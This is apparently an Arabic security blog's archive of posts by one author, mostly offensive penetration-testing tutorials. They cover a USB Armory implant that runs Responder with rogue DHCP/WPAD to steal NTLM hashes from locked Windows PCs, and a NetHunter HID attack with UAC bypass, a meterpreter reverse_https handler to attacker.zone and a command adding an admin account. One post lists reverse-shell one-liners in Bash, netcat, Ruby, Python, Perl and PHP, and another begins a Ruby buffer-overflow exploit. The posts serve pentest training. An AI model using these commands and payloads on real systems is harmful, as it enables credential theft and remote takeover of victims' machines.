RSSجميع مواضيع الكاتب صبري صالح

المهندس صبري صالح. مهندس حماية شبكات و أنظمة و فحصها معالجة و تحليل الأحداث الأمنية و المسؤول عن تطبيق معايير الـ ISO 27001 , يعمل في بيئات متعددة المنصات. حاصل على عدة شهادات تقنية.

سرقة الصلاحيات من جهاز ويندوز مغلق باستخدام USB Armory

USB Armory

موضوعنا اليوم هو موضوع جميل ومهم جدا لل pentester و ال red teamer ويصنف تحت ال Physical Social Engineering Attack. اليوم سنتعلم كيفية سرقة ال NTLM hashes من جهاز ويندوز حتى لو كان الجهاز في Locked باستخدام USB Armory device.

نستفيد من هاشات ال NTLM في سيناريوهات كثيرة منها على سبيل الذكر لا الحصر

  • الدخول على ال Shared folders
  • أو في هجمات ال PTH على الجهاز أو على الخوادم التي قد يدخلها المستخدم من جهازه المستهدف
  • تنفيذ أوامر عن بعد على الجهاز المستهدف باستخدام psexec
  • محاول كسر الهاش و الحصول على كلمة المرور الحقيقة باستخدام أداة hashcat (قد تستغرق وقت طويل جدا)
  • إلخ

الجدير بالذكر هنا أنه لن تعيقنا أي Group policy  تمنع استخدام ال USB storage لان الكمبوتر المستهدف سيتعرف عليه على أنه USB Ethernet device.

ما هو جهاز USB Armory ؟

ببساطة, هو عبارة عن جهاز كومبيوتر بحجم Flash drive. تستطيع أن تثبت عليه نظام تشغيل وتتعامل معه بكامل خصائص نظام التشغيل. مكونات USB Armory المادية أو ال Hardware مفتوحة المصدر, بمعنى أنك تستطيع أن تطلع على تفاصيل تصميم الجهاز والتغيير في مكوناته كما تشاء.
قامت شركة InversePath والتي تم الاستحواذ عليها من شركة F-Secure والمتخصصة في عمل أجهزة بنية تحتية آمنة.
سعر الجهاز هو 155 دولار أمريكي

يحتوي جهاز USB armory على microSDcard كوحدة تخزين وهنا قائمة بال microSD cards المدعومة رسمية ولكنها لا تنحصر في هذه القائمة. فكل ال microSDcard الحديثة مدعومة ولكن يفضل أن تكون ذات سرعة عالية في القراءة والكتابة. أشهر الأنواع المدعومة والمتوفرة في جميع الدول العربية هي SanDisk لكن بشرط أن تكون Ultra. وحدة التخزين هذه هي التي تحتوي على نظام التشغيل والذي سنغطي اليوم طريقة تحميل و تثبيت و إعداد النظام عليها.

الخطوة الأولى:/ تحميل نظام التشغيل وتثبيته

في البداية نذهب إلى صفحة انظمة التشغيل المدعومة رسميا من هنا. كما أحبذ أن نستخدم نسخة USB armory base images. قد يستغرب عدم اختيارالنسخة ال Kali لكن بعد بحث وجدت أن نسخة الكالي يشتكي بعض الناس منها ووجود بعض ال Bugs في منصة ARM لهذا. كما أن النسخة التي اخترتها هي نفس ما تستخدمه الكالي تماما ولا شي مختلف على الإطلاق بل بالعكس تأتي النسخة مجردة تماما من جميع البرامج مما يجعلها صغيرة الحجم وسريعة.

الأن نذهب إلى الرابط تحميل النظام ونحمل أخر image موجودة. حاليا النسخة (usbarmory-debian_jessie-base_image-20170518.raw.zip) هي الأحدث حتى تاريخ كتابة هذا المقال.

1. تحميل النظام

wget -c https://github.com/inversepath/usbarmory-debian-base_image/releases/download/20170518/usbarmory-debian_jessie-base_image-20170518.raw.zip

نتأكد من أن أننا حملنا النسخة بشكل سليم

sha256sum usbarmory-debian_jessie-base_image-20170518.raw.zip

يجب أن تكون المخرجات كما في الصفحة التحميل الرسمية.

نفك ضغط النظام
unzip usbarmory-debian_jessie-base_image-20170518.raw.zip

ينتج عنه ملف
usbarmory-debian_jessie-base_image-20170518.raw

2. معرفة مكان أو تسمية ال microSD card في الجهاز

الآن دخل ال micro SD card في جهازك, جهاز الكمبيوتر الخاص بك وليس ال USB armory. ثم اعرض جميع وحدات التخزين الموجودة في جهازك
fdisk -l

في حالة جهازي كان تسمية ال SD cards هي /dev/sdc وقد تخلف التسمية عنده. كن حذر جدا هنا لأن في مرحلة الثبيت لو اخترت وحدة تخزين خاطئة ستقوم بمسح كل ما على تلك وحدة ووضع نظام التشغيل عليها! لهذا وجب التنبيه

 

3. تثبيت النظام على ال microSD card

بصلاحيات ال root نفذ الأمر التالي: (انبته لمسار وحدة التخزين هنا)
dd if=usbarmory-debian_jessie-base_image-20170518.raw of=/dev/sdc bs=1M conv=fsync

تستغرق هذه العملية لتكتمل ما بين 3 إلى 4 دقائق. لاحظ أننا استخدمنا /dev/sdc وليس /dev/sdc1

الأن أخرج ال microSD card من جهازك وركبه في الـ USB armory. أنصحك بالتعامل مع ال USB armory برفق لأن أجزاءه حساسة وخفيفة جدا.
وصل ال USB armory في جهازك في أي منفذ من منافذ ال USB الخاصة بكمبيوترك وانتظر 20 ثانية حتى يعمل نظام التشغيل بشكل كامل. ستلاحظ خلالها أنها تنير وتنطفئ بشكل مستمر. بعد انتظارك نفذ الأمر
ifconfig

سترى كرت شبكة جديد يأخذ IP محدد تلقائيا وهو 10.0.0.2

الخطوة الثانية:/ إعداد نظام التشغيل

لأننا نشارك الإنترنت مع نظام ال USB Armory يجب أن نجعل نظام التشغل الأساسي يعمل كـ Gateway بالخطوات التالية
1. اسمح بتمرير ال packets

echo 1 > /proc/sys/net/ipv4/ip_forward

2. إضافة iptables rules وتفعيل ال masqurade

iptables -I FORWARD -j ACCEPT
iptables -t nat -I POSTROUTING -o wls1 -j MASQUERADE

حيث wls1 هو كرت الشبكة المتصل بالإنترنت

الآن ادخل إلى الUSB armory عن طريق ال SSH على العنوان 10.0.0.1 وهذه العناوين ستكون ثابته دائما
ssh [email protected]

كلمة المرور الافتراضية هي: usbarmory

نبدأ إعداد النظام

1. تحديث المخازن والنظام

المخازن الافتراضية التي تأتي مع التوزيع ليست كافية وبها إصدارات قديمة وبرامج أقل لهذا سنقوم بعمل تحديث مرتين. مرة بالمخازن الافتراضية والثانية بالمخازن التي نريدها
تكأد أنك تصل إلى الانترنت من ال USB Armory ثم ابد بالتحديث
apt update && apt upgrade

ثبت البرامج التالية
apt install wget apt-transport-https dirmngr

الأن اذهب إلى الموقع التالي https://debgen.simplylinux.ch ثم اختر Stable واضغط Generate. سيظهر لك المخازن المطلوبة. نسخها في المسار /etc/apt/sources.list
ضع علامة # أمام المخازن القديمة لتجاهلها.
الأن نفذ الأمر التالي مرة أخرى
apt update && apt upgrade

2. تثبيت البرامج المطلوبة

ثبت البرامج التالية
apt -y install curl git screen sqlite3 build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev autoconf postgresql pgadmin3 zlib1g-dev libxml2-dev libxslt1-dev libyaml-dev inotify-tools

apt install -y ruby ruby-dev
gem install sqlite3

apt install -y python python-pip python-dev
pip install pycrypto

 

3. إعداد ال DHCPd

خذ نسخة احتياطية من الملف
cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.orig

واجعل محتويات الملف الأصلي كالتالي

#
# Sample configuration file for ISC dhcpd for Debian
#

# have support for DDNS.
ddns-update-style none;

# option definitions common to all supported networks...
option domain-name "attacker.zone";
option domain-name-servers 10.0.0.1;

default-lease-time 600;
max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;

# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;

# wpad - Web Proxy Auto-Discovery Protocol
option local-proxy-config code 252 = text;

# A slightly different configuration for an internal subnet.
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.2 10.0.0.3;
default-lease-time 60;
max-lease-time 72;
option routers 10.0.0.1;
option local-proxy-config "http://10.0.0.1/wpad.dat";
}

 

4. تحميل برنامج Responder

برنامج Responder هو واحد من أشهر البرامج حاليا في عمل خادم وهمي للكثير من الخدمات مثل HTTP/SMB/MSSQL/FTP/LDAP والتي تفيد في حقن الاتصال داخل الشبكة ويستخدم كثيرا في هجمات ال MiTM.
mkdir /pentest && cd /pentest
git clone https://github.com/spiderlabs/responder
chmod +x Responder.py

لاحظ في في إعدادات ال dhcp server أضفنا تحت WPAD أو Web Proxy Auto-Discovery Protocol وهو رابط إعدادات البروكسي والتي سيجبر فيه الجهاز المستخدم أن يذهب إلى هذا الرابط ويحملها ليقوم باكتشاف البروكس (بروكسي وهمي عن طريق برنامج Responder) قبل تصفحه أي موقع.

تشغيل البرامج تلقائيا عند بدء النظام

كل ما نريده هنا أن نجعل ال USB armory أن تشغل تلقائيا ال DHCP وبرنامج Responder بمجرد أنا يعمل النظام.

#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.

# Generate ssh host keys if missing
FILES=$(ls /etc/ssh/ssh_host_* 2> /dev/null | wc -l)
if [ "$FILES" = "0" ]; then
while [ $(cat /proc/sys/kernel/random/entropy_avail) -lt 256 ]; do
sleep 1;
done
/usr/sbin/dpkg-reconfigure openssh-server
fi

# Start DHCP server
if ! pgrep -x "dhcpd" > /dev/null
then
echo "Starting DHCPd" >> /root/rc.log
echo '' > /var/lib/dhcp/dhcpd.leases
/usr/sbin/dhcpd
fi

# Start Responder
echo "Staring Responder" >> /root/rc.log
/usr/bin/screen -dmS responder bash -c 'cd /pentest/responder/; python Responder.py -I usb0 -f -w -r -d -F'

echo "Staring cred watch" >> /root/rc.log
/usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /pentest/responder/Responder.db; do shutdown -h now; done'

exit 0

 

الخطوة:الثالثة:/ تنفيذ الهجوم واستعادة البيانات والاستفادة منها(اختراق الجهاز المستخدم)

الأن لم يبقى سوى توصيل USB Armory في الجهاز المستهدف والانتظار حتى يعمي ثم تنطفئ الإنارة تماما.

بعد اكتمال الهجوم وأخذ جهازنا, نستطيع أن نوصل ال USB Armory في الكومبيوتر الخاص بنا والحصول على الهاشات والصلاحيات التي تم جمعها

يتم تخزين الصلاحيات في مكانين
أولها قاعدة بيانات
/pentest/responder/Responder.db

ثانيها
/pentest/responder/logs/(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt

وأفضل الملف الأول Responder.db لأنه يخزن جميع أنواع البيانات المسروقة ولا يحتاج منك البحث في أكثر من ملف مثل المسار الثاني.

قمت بعمل سكريبت صغير يقرأ قاعدة البيانات بشكل مرتب و سهل

#!/usr/bin/env ruby 
# KING SABRI | @KINGSABRI
# Responder database reader 
#
require "sqlite3"

if ARGV.size == 1 
  responder_db = ARGV[0]
else
  puts "Respnder.db path required!\nUsage: ruby responder-reader.rb /path/responder/Responder.db"
  exit 
end 

# Open
db = SQLite3::Database.new responder_db
records = db.execute "SELECT * FROM responder;"
records.each do |record|
 puts "Timestamp:  #{record[0]}"
 puts "Module:     #{record[1]}"
 puts "HashType:   #{record[2]}"
 puts "IPaddress:  #{record[3]}"
 puts "Hostname:   #{record[5].split('\\')[0]}"
 puts "Username:   #{record[5].split('\\')[1]}"
 puts "Cleartext:  #{record[6]}"
 puts "Hash:       #{record[7]}"
 puts "Full Hash:  #{record[8]}"
 puts 
end 
puts "[+] Number of records: #{records.size}"

 

ويستخدم بهذه الطريقة
ruby responder-reader.rb /pentest/responder/Responder.db

النتيجة

Timestamp: 2017-06-21 06:23:10
Module: HTTP
HashType: NTLMv2
IPaddress: 10.0.0.2
Hostname: DESKTOP-9INJ6LJ
Username: KING
Cleartext:
Hash: 8CVA8AFAF9909DA597CF3B7D84483438:0101000000000000241A342558EAD2013F8E3846E6C00698000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500.....
Full Hash: KING::DESKTOP-9INJ6LJ:1122334455667788:8CVA8AFAF9909DA597CF3B7D84483438:0101000000000000241A342558EAD2013F8E3846E6C00698000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500.....
[+] Number of records: 1

 

فيديو يوضح نتيجة الهجوم

 

بالإضافة إلى ما تم ذكره من سرقة ال NTLM hashes والجهاز وسطح المكتب مغلق, سيعمل الهجوب على إنشاء بروكسي وهمي (تذكر إعدادت ال DHCP و WPAD) ويجبر النظام على استخدامه فلو دخل المستخدم إلي جهازه وحاول تصفح الأنترنت ستظهر له شاشة تطلب إدخال اسم المستخدم كلمة المرور (غالبا ما سيدخل المستخدم كلمة المستخدم وكلمة المرور) وستخزن أيضا في قاعدة البيانات على شكل NTLM.

 

في النهاية أحب أن أنوه على أن استخدامات الـ USB Armory لا تنحصر في ما تطرقنا إليه فقط.

 

المصادر

انطلاق مشروع كتاب Rubyfu للغة Ruby لمختبري الاختراق

rubyfu

نبذة عن الكتاب

اليوم نعلن رسميا عن انطلاق مشروع الكتاب المفتوح Rubyfu والمختص بالمهارات البرمجية في لغة الـ Ruby لمختبري الاختراق. فكرة الكتاب تختلف عن الكتب الأخرى من حيث عرض المحتوى والفئة المستهدفة وطريقة تطوير الكتاب. هذا الكتاب يستهدف المختصين في الختبار الاختراق (Hackers) بشكل عام والمُلمين بلغة Ruby حيث يضع بين يديك كل ما تحتاجه يوميا من مهارات برمجية لتوفير وقت وجهد البحث عن كيفية عمل سكريبت يقوم بمهمة خاصة بلغة ال Ruby. يتميز الكتاب بقلة الكلام و الدخول في الطبيق مباشرة مع وضع بعض التوضيح إن لزم الأمر. من جانب خبرة, لا يحتاج الهاكر لكتاب 200 صفحة لفهم ماهو الـ Socket لكي يقوم بكتابة سكريبت طوله 20 سطر لينجز عمله. هذا الكتاب يسمح لك بالتركيز على الهدف الذي تريد اختراقه ويوفر لك البداية السريعة لكتابة السكريبت الذي يحقق الهدف. نعم فهذا الكتاب لا يعطيك معلومة بل يعطيك خبرة.

مفتوح المصدر

نعم الكتاب مفتوح المصدر, ويسمح لك بالمشاركة فيه ككاتب أو مشارك في الكتاب والذي بالتبعية سيضيف اسمك إلى قائمة المشاركين الموجودة في أخرالكتاب لحفظ مجهوداتك. هناك طرق عدة للمشاركة:

  • إضافة مواضيع جديدة
  • تحسين الأكواد الحالية أو إضافة طرق أخرى لأكواد موجودة
  • تحسين وترتيب الكتاب
  • اقتراحات و اسئلة
  • الإبلاغ عن أخطاء لغوية أو برمجية
  • نشر الكتاب
  • دعم الكتاب ماديا (يذهب الدعم على تحسين جودة الكتاب)

جاء الكتاب بطابع المشاريع البرمجية أكثر من الطابع المألوف عن إصدار الكتب لكي نضمن اسمرارية تطوير المعلومة, فالكتاب لن يتوقف محتواه على ما ستجده وقت إطلاقه ونشره للعامة.

رخصة الكتاب (CC BY-NC-SA)

بعد بحث واستشارة الكثير من المهتمين بالحقوق الفكرية, وجدنا أن الرخصة Attribution-NonCommercial-ShareAlike CC BY-NC-SA هي الأنسب حيث تسمح للمجميع بالمشاركة وإعادة النشر والتطوير على الكتاب مع حفظ حقوق المشاركين الكتاب, كما أنها تمنع الاستخدام التجاري للكتاب لتفادي أي مشاكل تتعلق بهذا مع أي أحد ولكي لا نظلم القرّاء والمشاكين في الكتاب على حد سواء فالأصل في الكتاب نشر المعرفة وليس التكسب.

أقسام الكتاب

يحتوي الكتاب على 6 وحدات(Modules) تتفرع تحتها المواضيع المتعلقة بها بشكل سهل وبأقل كلام وأكثر تطبيق ممكن.

  • Module 0x0 | Introduction

بداية هادئة للقارئ, الكاتب أو اي شخص أحب أن يطلع على الكتاب بشكل عامل. هنا ستجد بعض التفاصيل عن كفيفة البدء بالمشاركة في الكتاب بك أنواعها.

  • Module 0x1 | Basic Ruby KungFu

تجميعة جميلة وسريعة عن أكثر المهارات المطلوبة في التعامل مع الـ Strings في حياة مخبرين الاختراق و كيفية التلاعب بها. إذا كنت متخصص في مجال اختبار الاختراق فستزور هذا القسم بشكل يومي تقريبا.

  • Module 0x2 | System KungFu

هنا ندخل بشكل أعمق إلى التعامل مع أنظمة التشغيل من الحصول على سطر أوامر على الأنظمة وتشفير البيانات والتلاعب بالملفات وغيرها.

  • Module 0x3 | Network KungFu

هنا كل ما تحتاجه في التعامل مع بروتوكلات الشبكات و التلاعب بها. كما ستتعرف على كيفية بناء/صناعة الحزم بنفسك من البداية وحتى إرسالها إلى كارت الشبكة.

  • Module 0x4 | Web KungFu

هذا القسم يحتوي العديد من الأفكار البرمجية اللتي تحتاجها في اكتشاب و/أو استغلال ثغرات الويب. جزء مرن وشيق ويحتوي على طرق لم يناقشها أحد من قبل.

  • Module 0x5 | Exploitation KungFu

إذا كنت من مكتشفي ثغرات الـ Buffer Overflow  أو كنت من محبي كتابة Modules للميتاسبويت, ستجد هذا القسم مفيد لك جدا.

  • Module 0x6 | Forensic KungFu

حتى وإن كنت مخترِق, تحتاج معرفة كيف يفكرة المحققين كمان أنك قد تحتاج المهارات مهارات برمجية لعمل بعض المهام بعد الاختراق و المشابهة لعمل المحققين الجنائيين ولكن لتصعيد صلاحياتك أو لجمع المعلومات. هنا ستجد بعض المهرات السهلة والتي ستحتاجها عاجلا أم لاحقا.

ماذا عن المبتدئين؟

إذا كنت بتدئ في لغة الروبي فأنصحك بالذهاب إلى جزء المراجع في أخر الكتاب والبدء من هناك لكي تتعلم اللغة كي تستفيد أعلى استفادة من الكتاب وتستطيع أن تتواصل معنا إن احتجت المساعدة. هناك عدد لا نهائي من المصادر للغة الروبي, فلا تتردد في البد ولا تهدر وقتك في المقارنة بين اللغات فهذا لن يجعلك مبرمجا أفضل.

تواصل معنا!

تواصلك معنا يثري المحتوى و يوصلنا إلى أفضل نتائج للكتاب, فالكتاب مصنوع من المجتمع وإلى المجتمع.

طرق التواصل

تستطيع أن تشارك معنا وطرح الأسئلة على المخزن الرسمي في موقع جيت هب Rubyfu issues وسنقوم بالتفاعل معك ويسعدنا مساهمتك معنا في المشروع

شكر وعرفان

كما تعلمنا من عالم المصادر المفتوحة, نحب دائما الإشادة بكل من ساهم ويساهم في تقدم مشروع كتاب Rubyfu . حاولنا بشتى الطرق إيجاد طرق للتعبير عن تقديرنا للمشاركين فاتقفنا على الطرق التالية

  1. وضع إسم المشاركين في قائمة الشرف للمشاركين في الكتاب. تسطيع أن تكون من مشارك إلي كاتب في الكتاب بناء على حجم مشاركاتك وإضافاتك للكتاب.
  2. إرسال قميص يحمل شعار الكتاب و المبدأ القائم عليه هدية إلي باب منزلك. مثال في الصور التالية.

rubyfushirt1 rubyfushirt2

ختاماً

في الختام نحب أن نشكر كل المساهمات المحورية في حياة هذا المشروع منذ بدايته والتي كانت أكثر بكثير من المتوقع والتي كانت بعد الله أحجار أساس النحجاح الذي وصل إليه هذا المشروع حتى اليوم. كمان أننا نشكر كل من سيساهم معنا مستقبلا بشتى الطرق.

 

 

اختراق نظام Windows 8.1 بهجوم USB HID

مقدمة

من فترة طويلة و أنا أريد استخدام نظام Kali – NetHunter المعدل للعمل مع نظام أندرويد على عدة اجهزة (Nexus 4, 5, 7, 10, OnePlusOne) وسيتم دعم المزيد مستقبلا. توزيعة NetHunter تحمل في قلبها توزيعة Kali وتستطيع أن تعمل كل ما تعمله Kali. في نفس الوقت, هناك إضافات و تسهيلات جعلت الاختراق أسهل بكثير وهناك العديد قادم في هذه التوزيعة الواعدة من تطوير offensive-security. هجوم اليوم هو HID أو Human Interface Device عن طريق استغلال توصيل الهاتف المحمول بالكمبيوتر وهذا شائع جدا ويسهل عليك أن تطلب شحن هاتفك من أي أحد يملك جهاز كمبيورت وغالبا ستقابل ترحابا بكل سهولة.  هناك تطبيقات غير محدودة لهذا الهجوم وسنعرض اليوم إحداها.

 

الشرح سيكون على جهاز OnePlusOne لكنه يسري على جميع الاجهزة المدعومة

خطوات الاختراق

سأفترض مسبقا بأنك ملم بالمصطلحات التقنية التي ذكرت وسأتضطرق لتعريف الجديد منها في موضوعي.

1. تشغيل الأباتشي

اختر NetHunter Home Launcher

Applications

Applications

ثم اسحب الشاشة من اليسار إلى اليمين و اختر Kali Service Control

Kali Service Control

Kali Service Control

ثم فعل الأباتشي من القائمة

2. إعدادات هجوم الـ USB HID

سأحاول وضع الخطوات بشكل مفصل كي نستفيد منه في شروحات قادمة -إن شاء الله-

2.1. جعل أندرويد في USB Debugging mode

من قائمة البرامج, اذهب إلى

Settings >> Developer options >> Android debugging

Debugging Mode

Debugging Mode

 

2.2. وصل الهاتف بالجهاز المراد اختراقه

إذا تم التوصيل بنجاح ستجد تنبيه الـ Debugging mode في شريط تنبيهات الهاتف وبدونه لن تنجح عملية الاختراق

2.3. إعدادت الـ PowerSploit

مشروع الـ PowerSploit  واحد من أجمل المشاريع الموجودة على الساحة حاليا و يستخدم إمكانيات الـ PowerShell في اختراق الويندوز. تم استخدام أحد إمكانيات هذا المشروع في توزيعة NetHunter بشكل رائع.

هذا الاستغلال يسمح لك بتشغيل اتصال HTTPS عكسي على Metasploit meterpreter

هناك أربع إعدادات رئيسية

IP Address – LHOST : وهو عنوان الجهاز المشغل للميتاسبلويت handler سنتفترض أنه attacker.zone

Port – LPORT: وهو المنفذ الذي ينصت إليه الـ metasploit handler

Payload: وهنا أنت مخير بين الـ HTTP و HTTPS طبعا الأخير أفضل

URL to Payload : غاالبا يكون نفس عنوان الهاتف المحمول -لهذا قمنا بتفعيل الأباتشي سابقا- إلا إذا كنت قد أعدت الـ Payload في مكان أخر.

PowerSploit Settings

PowerSploit Settings

2.3.1. تخطي التحكم في صلاحيات المستخدم UAC

نقوم بهذه الخطوة كي نضمن تنفيذ الهجوم بأعلى صلاحيات ممكنة والتأكد من عدم منع النظام للهجوم من تنفيذ أوامر الـ PowerSploit

UAC Bypass

UAC Bypass

 

2.3.3. إعداد الميتاسبلويت وتنفيذ الهجوم

تشغيل الميتاسبلويت و الـ handler على الهاتف الجوال أو على الجهاز المحدد في جزء IP Address -LHOST  سابقا والذي سيتصل عليه الـ Reverse HTTPS meterpreter

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST attacker.zone
set LPORT 4444
run

وأخيرا تنفيذ الهجوم

Execute Attack

Execute Attack

 

2.4. إعدادت الـ Windows CMD

هنا نفس طريقة الهجوم السابقة -ونفس الخطوات عدا تشغيل الأباتشي- لكن ينفذ أوامر تقوم أنت بإعدادها مسبقا و يقوم بتنفيذها على جهاز الضحية بدلا من تشغيل Reverse HTTPS meterpreter shell.

مثلا سنضيف مستخدم جديد اسمه KING ونجعله في مجموعة المدراء Administrators. طبعا تستطيع تعديل و إضافة ما تشاء من أوامر

Windows CMD

Windows CMD

 

شخصيا منبهر من سهولة و خطورة الهجوم و كيف أصبح جوالك ألة اختراق متحركة و بأقل الخطوات

تحياتي واحترامي

إعداد Metasploit مع قاعدة البيانات Postgress على Kali

أصبحت الأمور أكثر استقرارا و أكثر سهولة في Kali. في هذا الموضوع السريع سنضع طريقة ربط مشروع Metasploit بقاعدة بيانات PostGres لتسريع عملية تشغيل الميتاسبلويت وعملية البحث فيها.

1. تشغيل الخدمات

service postgresql start
service metasploit start

– لتشغيل الخدمات تلقائيا بعد إعادة تشغيل النظام
update-rc.d postgresql enable
update-rc.d metasploit enable

 

2. تشغيل مشروع Metasploit

msfconsole
[box style=”red”]
ملاحظة: لا تقم بتشغيل الميتاسبلويت من المسار الرئيسي
/opt/metasploit/apps/pro/msf3
بل استخدم الأمر السابق مباشرة من سطر الأوامر
[/box]

3. للتأكد

msf > db_status
[*] postgresql connected to msf3
msf >

انشاء اتصال عكسي من سطر واحد وبعدة لغات

[toc]

 

هذه معاني المتغيرات التي ستجدها في الشرح. استبدلها عند التطبيق.
$ATTCKER_IP: هو عنواد المهاجم
$ATTACKER_PORT: هو المنفذ الذي ينصت عليه الضحية

$VICTIM_IP: هو عنواد المهاجم
$VICTIM_PORT: هو المنفذ الذي ينصت عليه الضحية

Listining

تستطيع الإنصات بأي طريقة تحبها
– NetCat
nc -lvp $ATTACKER_PORT
أو
ncat -lvp $ATTACKER_PORT

– Metasploit
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=$ATTCKER_IP LPORT=$ATTACKER_PORT E

PAYLOAD => windows/shell/reverse_tcp
LHOST => $ATTCKER_IP
LPORT => $ATTCKER_PORT
[*] Started reverse handler on $ATTCKER_IP:$ATTCKER_PORT
[*] Starting the payload handler...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to $VICTIM_IP
[*] Command shell session 1 opened ($ATTCKER_IP:$ATTCKER_PORT -> $VICTIM_IP:47657) at 2013-03-15 06:51:17 -0500

Reverse connection

طبعا كل ما سيطبق هنا هو على جهاز الضحية.
[box style=”tip”]
إذا كان جهاز الضحية ويندوز سنستبدل “/bin/bash” أو “/bin/sh” بـ cmd.exe
[/box]

 

Bash

bash -i >& /dev/tcp/$ATTCKER_IP/$ATTCKER_PORT 0>&1

 

NetCat

nc -nvv $ATTCKER_IP $ATTCKER_PORT -e /bin/bash
أو
nc -c /bin/sh $ATTCKER_IP $ATTCKER_PORT

 

Ruby

ruby -r socket -e ' f=TCPSocket.open("$ATTCKER_IP",$ATTCKER_PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

 

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTCKER_PORT",$ATTCKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

Perl

perl -e 'use Socket;$i="$ATTCKER_PORT";$p=$ATTCKER_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

 

Php

php -r '$sock=fsockopen("$ATTACKER_IP",$ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
مصدر 1

Buffer Overflow tutorial – Part 2: Stack Based Overflow

[toc]

 
 

1. مقدمة

في هذه السلسلة, لن أتكلم عن أساسيات ثغرات الـ Buffer overflow فهناك شروحات وفت هذا الجزء. و سأتطرق لما أجده مهم في عملية التطبيق من معلومات و قد أخصص أجزاء نظرية إذا دعت الحاجة.
قبل أن نبدأ أرجوا أن توفر المتطلبات التالية في بيئتك لنبدأ العمل بشكل سريع وسهل.

نظام التشغيل: Linux
نظام تشغيل الهدف : Windows XP(SP1,SP2,SP3), Windows server 2003 بمعمارية 32-bit
الأدوات: الرجاء تحميل الأدوات من موضوع Buffer Overflow tutorial – Part 1: Tools
البرنامج المصاب: Ability Server 2.34 – قم بوضع مجلد البرنامج في “C:\”
[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/abilitywebserver.zip”]Download AbilityWebServer.zip[/button]

 

2. Verify the bug

هناك ثلاثة طرق رئيسية لتفحص ثغرة Overflow في برنامج معين
1- Code review: حيث يتوفر لديك الشيفرة المصدرية أو Source code وتقوم بمراجعة اكواد البرنامج و البحث عن الدوال غير الأمنة أو استخدام برامج فحص ومراجعة الأكواد.
2- Reverse enginering: هنا تقوم بالهندسة العكسية لاستخراج الشيفرة المصدرية ثم تقوم بما كنت ستقوم به في ال Code review.
3- Fuzzing: وهنالن ترى الكود الأصلي أبدا, بل ستتعامل مع مدخلات البرنامج وطرق التعامل معها سواء كان المدخلات ملف أو اتصال أو أي نوع من أنواع المدخلات. وهنا سنستخدم عملية الـ Fuzzing

2.1. Fuzzing

في هذه العملية يجب علينا معرفة طريقة سير البرنامج أو الخدمة ومعرفة جميع الأماكن التي تستخدم لإدخال قيمة أو عدة قيم للبرنامج. أيضا يجب أن نعرف إمكانية التعامل مع هذه المدخلات. فمثلا برنامج تشغيل صوتيتا مدخلاته المنطقية هي ملف صوتي و لو كان يستخدم Themes إضافية للبرنامج فقد حصلنا على مدخل أخر وهو ملف يحتوي تصميم مظهر البرنامج. أيضا قد يقوم برنامج الصوتيات يقوم بعمل تحديث من الإنترنت أو البحث في الانترنت على ملفات صوتية, وفي هذه الحالة أضفنا مدخلا أخر وهو فتح اتصال واستقبال وإرسال. نفس الأمر مع برنامج يقدم مثلا خدمة FTP فيجب معرفة أوامر Protocol ال FTP و بالباطبع سيأخذ اسم مستخدم وكلمة مرور لهما طول محدد كحد أقصى. وهكذا

أولا نشغل الخادم و نجهز إعداداته كالتالي

ثم

ثم تأكد من إزالة علامة الصح من أمام اختيار File write. حيث هنا تكمن ثغرة الـ STOR. لا تنسى أن تقفل ثم تفعل خدمة الـ FTP بعد تنفيذ هذه العملية. ستلاحظ في الصورة السابقة كلمة Deactivate أمام كل خدمة.

الأن شغل الـ immunity debugger ودرج الـ process الخاصة بـ Ability FTP server في المنقح
بهذه الطريقة


ثم نشغل البرنامج من الـ Debugger لأنه يجمد عمل البرنامج بمجرد إدراجه بداخله

[box style=”alert”]
من الضروري جدا إجادة التعامل مع ال Debugger لأنني لن أستطيع أن أعيد كل هذه الصور في كل موضوع. وفي نهاية الموضوع يوجد فيدو توضيحي لكامل الموضوع خطوة بخطوة. أيضا لن أستطيع أن أعمل فيديو في كل المواضيع لهذا وجب التنبيه.
[/box]

الأن, سننشئ سكريبت بسيط يعمل عملية Fuzzing بسيطة و سيرسل 2000 حرف A بعد تسجيل الدخول إلى خادم الـ FTP وتنفيذ أمر STOR أي أنه سيقوم بتخزين 2000 ملف أسمهم A في الخادم. وسنقوم بتطوير هذا السكريبت حتى يصلى إلى استغلال كامل بإذن الله


#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

buffer = "A" * 2000

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
